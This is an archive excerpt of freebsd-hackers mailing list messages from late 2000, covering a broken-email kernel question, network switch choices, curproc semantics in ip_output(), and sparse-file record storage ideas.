1/800-632-6327 or My E-mail rmcherson@necsi.com. =20 ------=_NextPart_000_0005_01C0434B.0F6A3240 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Can you assist me with a Free BSD = problem. One of=20 my customers had a College kid mess with his Unix Kernal.
Now they can no longer = access thier E-mail=20 ???
Could he have turned off Email somehow, = when he=20 messed around with the Unix kernal???
Thank You.
Ron MacPherson.
Tel 1/800-632-6327 or My E-mail rmcherson@necsi.com.
=
  
------=_NextPart_000_0005_01C0434B.0F6A3240-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 11:38:23 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from pike.osd.bsdi.com (pike.osd.bsdi.com [204.216.28.222]) by hub.freebsd.org (Postfix) with ESMTP id 7F92437B4C5 for ; Tue, 31 Oct 2000 11:38:20 -0800 (PST) Received: from magdalena.osd.bsdi.com (eric@magdalena.osd.bsdi.com [204.216.28.184]) by pike.osd.bsdi.com (8.11.0/8.9.3) with ESMTP id e9VJbGf15356; Tue, 31 Oct 2000 11:37:17 -0800 (PST) (envelope-from eric@magdalena.osd.bsdi.com) Message-Id: <200010311937.e9VJbGf15356@pike.osd.bsdi.com> Date: Tue, 31 Oct 2000 11:37:56 -0800 (PST) From: Eric Melville Subject: Re: Help To: rmcpherson@necsi.com Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <000801c04374$f9546960$e9c809c0@macpherson> MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG If there's any truth to this assumption, there's probably a much bigger problem at hand, such as all of their networking is borked. It's kind of hard to determine what's going on with such a general statement. > Can you assist me with a Free BSD problem. One of my customers had a College kid mess with his Unix Kernal. > Now they can no longer access thier E-mail ??? > Could he have turned off Email somehow, when he messed around with the Unix kernal??? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 15:11:22 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.houston.rr.com (sm1.texas.rr.com [24.93.35.54]) by hub.freebsd.org (Postfix) with ESMTP id 3306837B479 for ; Tue, 31 Oct 2000 15:11:19 -0800 (PST) Received: from bloop.craftncomp.com ([24.27.77.164]) by mail.houston.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Tue, 31 Oct 2000 17:13:19 -0600 Received: from bloop.craftncomp.com (localhost.craftncomp.com [127.0.0.1]) by bloop.craftncomp.com (8.11.0/8.9.3) with ESMTP id e9VNBLG21298 for ; Tue, 31 Oct 2000 17:11:21 -0600 (CST) (envelope-from shocking@bloop.craftncomp.com) Message-Id: <200010312311.e9VNBLG21298@bloop.craftncomp.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: hackers@freebsd.org Subject: 16 port 10/100 hubs/switches. Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 31 Oct 2000 17:11:21 -0600 From: Stephen Hocking Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I just went out & bought a D-Link 10/100 switch. There was another 16 port 10/100 switch on sale by netgear, for twice the price. Now I've established that they're both switches (as opposed to hubs) and the three machines I current have connected to it have sucessfully negotiated 100Mbs full-duplex (speed is great!). Is there any reasons why I should've considered the netgear unit? I didn't see anything on the box (after a rather cursory perusal) on it about managability, SNMP et cetera. Stephen PS - Anyone going to SC2000? -- The views expressed above are not those of PGS Tensor. "We've heard that a million monkeys at a million keyboards could produce the Complete Works of Shakespeare; now, thanks to the Internet, we know this is not true." Robert Wilensky, University of California To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 16:21:40 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from post.webmailer.de (natmail2.webmailer.de [192.67.198.65]) by hub.freebsd.org (Postfix) with ESMTP id 0D82F37B65E for ; Tue, 31 Oct 2000 16:21:36 -0800 (PST) Received: from umktgghc (host-209-214-44-188.mob.bellsouth.net [209.214.44.188]) by post.webmailer.de (8.9.3/8.8.7) with SMTP id BAA23989; Wed, 1 Nov 2000 01:21:24 +0100 (MET) Message-Id: <200011010021.BAA23989@post.webmailer.de> From: "Moritz Hardt" To: "Eric Melville" , "rmcpherson@necsi.com" Cc: "freebsd-hackers@FreeBSD.ORG" Date: Tue, 31 Oct 2000 18:21:16 -0500 Reply-To: "Moritz Hardt" X-Mailer: PMMail 2000 Professional (2.10.2010) For Windows 98 (4.10.1998) In-Reply-To: <200010311937.e9VJbGf15356@pike.osd.bsdi.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: Re: Help Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I guess you are talking about the kernel. As far as I know there's nothing in the kernel, which could specifically influence email. What about loading the GENERIC kernel or the kernel you have used before. But please go into more detail with your problem description. On Tue, 31 Oct 2000 11:37:56 -0800 (PST), Eric Melville wrote: >If there's any truth to this assumption, there's probably a much bigger >problem at hand, such as all of their networking is borked. It's kind of >hard to determine what's going on with such a general statement. > >> Can you assist me with a Free BSD problem. One of my customers had a College kid mess with his Unix Kernal. >> Now they can no longer access thier E-mail ??? >> Could he have turned off Email somehow, when he messed around with the Unix kernal??? > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 16:29:48 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by hub.freebsd.org (Postfix) with ESMTP id BF9E037B4CF for ; Tue, 31 Oct 2000 16:29:40 -0800 (PST) Received: from isi.edu (hbo.isi.edu [128.9.160.75]) by boreas.isi.edu (8.9.3/8.9.3) with ESMTP id QAA22189 for ; Tue, 31 Oct 2000 16:29:40 -0800 (PST) Message-ID: <39FF63F4.6C0F21CA@isi.edu> Date: Tue, 31 Oct 2000 16:29:40 -0800 From: Lars Eggert Organization: USC Information Sciences Institute X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en, de MIME-Version: 1.0 To: hackers@freebsd.org Subject: curproc question Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms5B9E361E3F2EA21A7F87F91B" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a cryptographically signed message in MIME format. --------------ms5B9E361E3F2EA21A7F87F91B Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Quick question: During a system call inside the kernel, can I safely assume that curproc points to the process that issued the call? For example, will looking at curproc in ip_output() tell me which process is responsible for generating the packet? Thanks, Lars -- Lars Eggert Information Sciences Institute http://www.isi.edu/larse/ University of Southern California --------------ms5B9E361E3F2EA21A7F87F91B Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIIIIwYJKoZIhvcNAQcCoIIIFDCCCBACAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC BfQwggLYMIICQaADAgECAgMDIwUwDQYJKoZIhvcNAQEEBQAwgZQxCzAJBgNVBAYTAlpBMRUw EwYDVQQIEwxXZXN0ZXJuIENhcGUxFDASBgNVBAcTC0R1cmJhbnZpbGxlMQ8wDQYDVQQKEwZU aGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25h bCBGcmVlbWFpbCBSU0EgMTk5OS45LjE2MB4XDTAwMDgyNDIwMzAwOFoXDTAxMDgyNDIwMzAw OFowVDEPMA0GA1UEBBMGRWdnZXJ0MQ0wCwYDVQQqEwRMYXJzMRQwEgYDVQQDEwtMYXJzIEVn Z2VydDEcMBoGCSqGSIb3DQEJARYNbGFyc2VAaXNpLmVkdTCBnzANBgkqhkiG9w0BAQEFAAOB jQAwgYkCgYEAz1yfcNs53rvhuw8gSDvr2+/snP8GduYY7x7WkJdyvcwb4oipNpWYIkMGP214 Zv1KrgvntGaG+jeugAGQt0n64VusgcIzQ6QDRtnMgdQDTAkVSQ2eLRSQka+nAPx6SFKJg79W EEHmgKQBMtZdMBYtYv/mTOcpm7jTJVg+7W6n04UCAwEAAaN3MHUwKgYFK2UBBAEEITAfAgEA MBowGAIBBAQTTDJ1TXlmZkJOVWJOSkpjZFoyczAYBgNVHREEETAPgQ1sYXJzZUBpc2kuZWR1 MAwGA1UdEwEB/wQCMAAwHwYDVR0jBBgwFoAUiKvxYINmVfTkWMdGHcBhvSPXw4wwDQYJKoZI hvcNAQEEBQADgYEAi65fM/jSCaPhRoA9JW5X2FktSFhE5zkIpFVPpv33GWPPNrncsK13HfZm s0B1rNy2vU7UhFI/vsJQgBJyffkLFgMCjp3uRZvBBjGD1q4yjDO5yfMMjquqBpZtRp5op3lT d01faA58ZCB5sxCb0ORSxvXR8tc9DJO0JIpQILa6vIAwggMUMIICfaADAgECAgELMA0GCSqG SIb3DQEBBAUAMIHRMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYD VQQHEwlDYXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9D ZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29u YWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0 ZS5jb20wHhcNOTkwOTE2MTQwMTQwWhcNMDEwOTE1MTQwMTQwWjCBlDELMAkGA1UEBhMCWkEx FTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTEUMBIGA1UEBxMLRHVyYmFudmlsbGUxDzANBgNVBAoT BlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1BlcnNv bmFsIEZyZWVtYWlsIFJTQSAxOTk5LjkuMTYwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGB ALNpWpfU0BYLerXFXekhnCNyzRJMS/d+z8f7ynIk9EJSrFeV43theheE5/1yOTiUtOrtZaeS Bl694GX2GbuUeXZMPrlocHWEHPQRdAC8BSxPCQMXMcz0QdRyxqZd4ohEsIsuxE3x8NaFPmzz lZR4kX5A6ZzRjRVXjsJz5TDeRvVPAgMBAAGjNzA1MBIGA1UdEwEB/wQIMAYBAf8CAQAwHwYD VR0jBBgwFoAUcknCczTGVfQLdnKBfnf0h+fGsg4wDQYJKoZIhvcNAQEEBQADgYEAa8ZZ6TH6 6bbssQPY33Jy/pFgSOrGVd178GeOxmFw523CpTfYnbcXKFYFi91cdW/GkZDGbGZxE9AQfGuR b4bgITYtwdfqsgmtzy1txoNSm/u7/pyHnfy36XSS5FyXrvx+rMoNb3J6Zyxrc/WG+Z31AG70 HQfOnZ6CYynvkwl+Vd4xggH3MIIB8wIBATCBnDCBlDELMAkGA1UEBhMCWkExFTATBgNVBAgT DFdlc3Rlcm4gQ2FwZTEUMBIGA1UEBxMLRHVyYmFudmlsbGUxDzANBgNVBAoTBlRoYXd0ZTEd MBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1BlcnNvbmFsIEZyZWVt YWlsIFJTQSAxOTk5LjkuMTYCAwMjBTAJBgUrDgMCGgUAoIGxMBgGCSqGSIb3DQEJAzELBgkq hkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTAwMTEwMTAwMjk0MFowIwYJKoZIhvcNAQkEMRYE FK19EH2J0eJx/105kC2Qn4EEZS2IMFIGCSqGSIb3DQEJDzFFMEMwCgYIKoZIhvcNAwcwDgYI KoZIhvcNAwICAgCAMAcGBSsOAwIHMA0GCCqGSIb3DQMCAgFAMA0GCCqGSIb3DQMCAgEoMA0G CSqGSIb3DQEBAQUABIGAzt9YeP5z6E3XCSJ5XsV4SC7hGDmNpbPwJNujfDL4kAMysV0BTh7Q HH68Yh+cNedmgVIrwPasHEYe4H4LS7X4l9S+G1KeCc0v6mmER+53HvpuWI9N9iY/QVb3nxoZ kJArgJpFXIJUWOux/PTsOuFEXQw8a8SfpcplmtHF189R9qg= --------------ms5B9E361E3F2EA21A7F87F91B-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 16:35:51 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from rapidnet.com (rapidnet.com [205.164.216.1]) by hub.freebsd.org (Postfix) with ESMTP id 2F54D37B4CF for ; Tue, 31 Oct 2000 16:35:49 -0800 (PST) Received: from localhost (nick@localhost) by rapidnet.com (8.9.3/8.9.3) with ESMTP id RAA28207; Tue, 31 Oct 2000 17:35:43 -0700 (MST) Date: Tue, 31 Oct 2000 17:35:43 -0700 (MST) From: Nick Rogness To: Ron MacPherson Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Help In-Reply-To: <000801c04374$f9546960$e9c809c0@macpherson> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 31 Oct 2000, Ron MacPherson wrote: > Can you assist me with a Free BSD problem. One of my customers had a College kid mess with his Unix Kernal. > Now they can no longer access thier E-mail ??? > Could he have turned off Email somehow, when he messed around with the Unix kernal??? Probably not. However, it is possible if he turned on IPFIREWALL or something like that and the packets are being denied by default. Boot the GENERIC kernel (kernel.GENERIC) from the boot loader. See if that fixes it. Otherwise, give more detail, like how Email is broken. Nick Rogness - Drive defensively. Buy a tank. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 16:44: 6 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mass.osd.bsdi.com (adsl-63-202-178-14.dsl.snfc21.pacbell.net [63.202.178.14]) by hub.freebsd.org (Postfix) with ESMTP id C503337B4C5 for ; Tue, 31 Oct 2000 16:44:02 -0800 (PST) Received: from mass.osd.bsdi.com (localhost [127.0.0.1]) by mass.osd.bsdi.com (8.11.0/8.11.1) with ESMTP id eA10mF429588; Tue, 31 Oct 2000 16:48:17 -0800 (PST) (envelope-from msmith@mass.osd.bsdi.com) Message-Id: <200011010048.eA10mF429588@mass.osd.bsdi.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: Lars Eggert Cc: hackers@freebsd.org Subject: Re: curproc question In-reply-to: Your message of "Tue, 31 Oct 2000 16:29:40 PST." <39FF63F4.6C0F21CA@isi.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 31 Oct 2000 16:48:15 -0800 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Quick question: > > During a system call inside the kernel, can I safely assume that curproc > points to the process that issued the call? For example, will looking at > curproc in ip_output() tell me which process is responsible for generating > the packet? No. -- ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 17: 5:20 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by hub.freebsd.org (Postfix) with ESMTP id 3CF9437B479 for ; Tue, 31 Oct 2000 17:05:17 -0800 (PST) Received: from isi.edu (hbo.isi.edu [128.9.160.75]) by boreas.isi.edu (8.9.3/8.9.3) with ESMTP id RAA27312 for ; Tue, 31 Oct 2000 17:05:16 -0800 (PST) Message-ID: <39FF6C49.31D1ABE8@isi.edu> Date: Tue, 31 Oct 2000 17:05:13 -0800 From: Lars Eggert Organization: USC Information Sciences Institute X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en, de MIME-Version: 1.0 Cc: hackers@freebsd.org Subject: Re: curproc question References: <200011010048.eA10mF429588@mass.osd.bsdi.com> Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms56834FBEC0B3107AA8C2772B" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a cryptographically signed message in MIME format. --------------ms56834FBEC0B3107AA8C2772B Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Mike Smith wrote: > > During a system call inside the kernel, can I safely assume that curproc > > points to the process that issued the call? For example, will looking at > > curproc in ip_output() tell me which process is responsible for generating > > the packet? > > No. Too bad. In which cases wouldn't it point at the "correct" process? Maybe I could tolerate those. -- Lars Eggert Information Sciences Institute http://www.isi.edu/larse/ University of Southern California --------------ms56834FBEC0B3107AA8C2772B Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIIIIwYJKoZIhvcNAQcCoIIIFDCCCBACAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC BfQwggLYMIICQaADAgECAgMDIwUwDQYJKoZIhvcNAQEEBQAwgZQxCzAJBgNVBAYTAlpBMRUw EwYDVQQIEwxXZXN0ZXJuIENhcGUxFDASBgNVBAcTC0R1cmJhbnZpbGxlMQ8wDQYDVQQKEwZU aGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25h bCBGcmVlbWFpbCBSU0EgMTk5OS45LjE2MB4XDTAwMDgyNDIwMzAwOFoXDTAxMDgyNDIwMzAw OFowVDEPMA0GA1UEBBMGRWdnZXJ0MQ0wCwYDVQQqEwRMYXJzMRQwEgYDVQQDEwtMYXJzIEVn Z2VydDEcMBoGCSqGSIb3DQEJARYNbGFyc2VAaXNpLmVkdTCBnzANBgkqhkiG9w0BAQEFAAOB jQAwgYkCgYEAz1yfcNs53rvhuw8gSDvr2+/snP8GduYY7x7WkJdyvcwb4oipNpWYIkMGP214 Zv1KrgvntGaG+jeugAGQt0n64VusgcIzQ6QDRtnMgdQDTAkVSQ2eLRSQka+nAPx6SFKJg79W EEHmgKQBMtZdMBYtYv/mTOcpm7jTJVg+7W6n04UCAwEAAaN3MHUwKgYFK2UBBAEEITAfAgEA MBowGAIBBAQTTDJ1TXlmZkJOVWJOSkpjZFoyczAYBgNVHREEETAPgQ1sYXJzZUBpc2kuZWR1 MAwGA1UdEwEB/wQCMAAwHwYDVR0jBBgwFoAUiKvxYINmVfTkWMdGHcBhvSPXw4wwDQYJKoZI hvcNAQEEBQADgYEAi65fM/jSCaPhRoA9JW5X2FktSFhE5zkIpFVPpv33GWPPNrncsK13HfZm s0B1rNy2vU7UhFI/vsJQgBJyffkLFgMCjp3uRZvBBjGD1q4yjDO5yfMMjquqBpZtRp5op3lT d01faA58ZCB5sxCb0ORSxvXR8tc9DJO0JIpQILa6vIAwggMUMIICfaADAgECAgELMA0GCSqG SIb3DQEBBAUAMIHRMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYD VQQHEwlDYXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9D ZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29u YWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0 ZS5jb20wHhcNOTkwOTE2MTQwMTQwWhcNMDEwOTE1MTQwMTQwWjCBlDELMAkGA1UEBhMCWkEx FTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTEUMBIGA1UEBxMLRHVyYmFudmlsbGUxDzANBgNVBAoT BlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1BlcnNv bmFsIEZyZWVtYWlsIFJTQSAxOTk5LjkuMTYwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGB ALNpWpfU0BYLerXFXekhnCNyzRJMS/d+z8f7ynIk9EJSrFeV43theheE5/1yOTiUtOrtZaeS Bl694GX2GbuUeXZMPrlocHWEHPQRdAC8BSxPCQMXMcz0QdRyxqZd4ohEsIsuxE3x8NaFPmzz lZR4kX5A6ZzRjRVXjsJz5TDeRvVPAgMBAAGjNzA1MBIGA1UdEwEB/wQIMAYBAf8CAQAwHwYD VR0jBBgwFoAUcknCczTGVfQLdnKBfnf0h+fGsg4wDQYJKoZIhvcNAQEEBQADgYEAa8ZZ6TH6 6bbssQPY33Jy/pFgSOrGVd178GeOxmFw523CpTfYnbcXKFYFi91cdW/GkZDGbGZxE9AQfGuR b4bgITYtwdfqsgmtzy1txoNSm/u7/pyHnfy36XSS5FyXrvx+rMoNb3J6Zyxrc/WG+Z31AG70 HQfOnZ6CYynvkwl+Vd4xggH3MIIB8wIBATCBnDCBlDELMAkGA1UEBhMCWkExFTATBgNVBAgT DFdlc3Rlcm4gQ2FwZTEUMBIGA1UEBxMLRHVyYmFudmlsbGUxDzANBgNVBAoTBlRoYXd0ZTEd MBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1BlcnNvbmFsIEZyZWVt YWlsIFJTQSAxOTk5LjkuMTYCAwMjBTAJBgUrDgMCGgUAoIGxMBgGCSqGSIb3DQEJAzELBgkq hkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTAwMTEwMTAxMDUxNlowIwYJKoZIhvcNAQkEMRYE FFgtPThqNZ7BhyOuj+J3VHNTer/cMFIGCSqGSIb3DQEJDzFFMEMwCgYIKoZIhvcNAwcwDgYI KoZIhvcNAwICAgCAMAcGBSsOAwIHMA0GCCqGSIb3DQMCAgFAMA0GCCqGSIb3DQMCAgEoMA0G CSqGSIb3DQEBAQUABIGAwIiOspCB3gb7f+aWjvoln7HlLC5mWRPJlu+rdUmugMhXmLK9SjOu i7DP8ZZIkEiqDq+v5gtRcyvjOV9834JMppTx17AcwMbjOjTz6/pkxMvDRvURgdLtXBUeQCzw E5bhXE8aeX0LuFjhkPNU9tiqalSW1dJbgkCJUz/ZL5o5gc8= --------------ms56834FBEC0B3107AA8C2772B-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 17:12: 0 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mass.osd.bsdi.com (adsl-63-202-178-14.dsl.snfc21.pacbell.net [63.202.178.14]) by hub.freebsd.org (Postfix) with ESMTP id C477A37B4C5 for ; Tue, 31 Oct 2000 17:11:56 -0800 (PST) Received: from mass.osd.bsdi.com (localhost [127.0.0.1]) by mass.osd.bsdi.com (8.11.0/8.11.1) with ESMTP id eA11GD429727; Tue, 31 Oct 2000 17:16:13 -0800 (PST) (envelope-from msmith@mass.osd.bsdi.com) Message-Id: <200011010116.eA11GD429727@mass.osd.bsdi.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: Lars Eggert Cc: hackers@freebsd.org Subject: Re: curproc question In-reply-to: Your message of "Tue, 31 Oct 2000 17:05:13 PST." <39FF6C49.31D1ABE8@isi.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 31 Oct 2000 17:16:13 -0800 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Mike Smith wrote: > > > During a system call inside the kernel, can I safely assume that curproc > > > points to the process that issued the call? For example, will looking at > > > curproc in ip_output() tell me which process is responsible for generating > > > the packet? > > > > No. > > Too bad. In which cases wouldn't it point at the "correct" process? Maybe I > could tolerate those. Anytime the upcall process had been blocked, or when NATing, or when routing. Have a look at the way that per-UID limites are implemented in ipfw... -- ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 18:32: 2 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from os2.ami.com.au (os2.ami.com.au [203.55.31.51]) by hub.freebsd.org (Postfix) with ESMTP id 2D1F737B4C5 for ; Tue, 31 Oct 2000 18:31:53 -0800 (PST) Received: from emu.os2.ami.com.au (IDENT:root@c0s16.ami.com.au [203.55.31.81]) by os2.ami.com.au (8.9.1/8.9.0) with ESMTP id KAA17399 for ; Wed, 1 Nov 2000 10:31:43 +0800 Received: from possum.os2.ami.com.au (IDENT:summer@possum.os2.ami.com.au [192.168.1.6]) by emu.os2.ami.com.au (8.10.0/8.10.0) with ESMTP id eA10JXW21396 for ; Wed, 1 Nov 2000 08:20:27 +0800 Message-Id: <200011010020.eA10JXW21396@emu.os2.ami.com.au> X-Mailer: exmh version 2.1.1 10/15/1999 To: freebsd-hackers@freebsd.org Subject: Re: Filesystem holes In-Reply-To: Your message of "Sun, 29 Oct 2000 16:04:14 CST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 01 Nov 2000 08:21:54 +0800 From: John Summerfield Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > :> actually being used, while providing instant lookups. > > :> > > :> The single file would be about 96G addressable bytes... But the actual > > :> block count would be much lower. I suppose I will have to create a seri > es > > :> of these files and divide the problem into < 4GB chunks, but one > > :> lookup/store will still be done with one calculation and one disk seek > > :> (just more filehandles open). > > :> > > :> Deletes seem problematic. My question is, does the operating system > > :> provide any way to free blocks used in the middle of a file? > > :> > > :> Must I periodically re-create these files (long and slow process, but no > t > > :> so bad if done infrequently) to reclaim space, or is there a way to free > > :> arbitrary blocks in a file in userland (WITHOUT trashing the filesystem? > > :> :-) > > :> > > :> - Ryan > > :> > > :> -- > > :> Ryan Thompson > > :> Network Administrator, Accounts > > :> Phone: +1 (306) 664-1161 > > :> > > :> SaskNow Technologies http://www.sasknow.com > > :> #106-380 3120 8th St E Saskatoon, SK S7H 0W2 > > > > I would strongly recommend using a B+Tree instead of a hash table. Wit > h > > a hash table slightly different lookups will seek all over the place. > > With a B+Tree lookups will stay more localized. > > Right... That's a good point, but (and, no, I really didn't mention this > in my original post), "sequential" access is never important with the > system I have described. Lookups are always random, and they are almost > always done one at a time (multiple lookups only done for data swaps... > very rare, like 1/1e7 accesses... and those are still O(1) (well, > O(2), but who's counting ;-)))... > Remember, though, I'm not proposing a hash table. I have been lucky > enough to design a "hash" function that will crunch down all possible > values into about 64M unique keys--so, no collisions. I propose to use > this function with address calculation. So, O(1) everything, for single > random lookups, which is (virtually) all this data structure must deal > with. Sorting isn't necessary, and that could be accomplished in O(n) > anyway. > Way to use has for variable-length records: Use an intermediate 'file" whose records are simply pointers tot the location of the real data. Finding a record goes like this: ACnumber=getRecord("KEY"); realRecordNumber=AC(ACnumber); then read record number realRecordNumber. AC I pinched from Adabas which (back in the early 80s, dunno what it does now) had an address covertor. It changed record numers (returned by getRecord() here) to a disk address. Its size is n, where n is the number of records you support. In data storage (andother Adabas term), you have fixed-length records, each containing several records. Adabas stored the Adabas record number and the data files; numbers stored as binary, character fields (usually) preceded with a (one-byte) record size so trailing spaces could be dropped. Inserted records go into empty blocks (except in load mode where blocks are filled to a user-specified percentage) (and presumably into a block in the buffer pool with space). Blocks are compressed before being rewritten - all the data is packed to the front. The first field in the DS block is the offset to free space in the block. Adabas alsh had a work dataset, where data are recorded pending end of transaction; EOT can be acknowldged when the information is safely recorded in work as Adabas can always recover from there. It also has transaction logging, either too tape (alternating with two drives) or two files on disk. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 21:38: 9 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.enteract.com (mail.enteract.com [207.229.143.33]) by hub.freebsd.org (Postfix) with ESMTP id EDDB937B4C5 for ; Tue, 31 Oct 2000 21:38:07 -0800 (PST) Received: from shell-2.enteract.com (dscheidt@shell-2.enteract.com [207.229.143.41]) by mail.enteract.com (8.9.3/8.9.3) with SMTP id XAA78257; Tue, 31 Oct 2000 23:38:05 -0600 (CST) (envelope-from dscheidt@enteract.com) Date: Tue, 31 Oct 2000 23:38:05 -0600 (CST) From: David Scheidt To: Stephen Hocking Cc: hackers@freebsd.org Subject: Re: 16 port 10/100 hubs/switches. In-Reply-To: <200010312311.e9VNBLG21298@bloop.craftncomp.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 31 Oct 2000, Stephen Hocking wrote: :I just went out & bought a D-Link 10/100 switch. There was another 16 port :10/100 switch on sale by netgear, for twice the price. Now I've established :that they're both switches (as opposed to hubs) and the three machines I :current have connected to it have 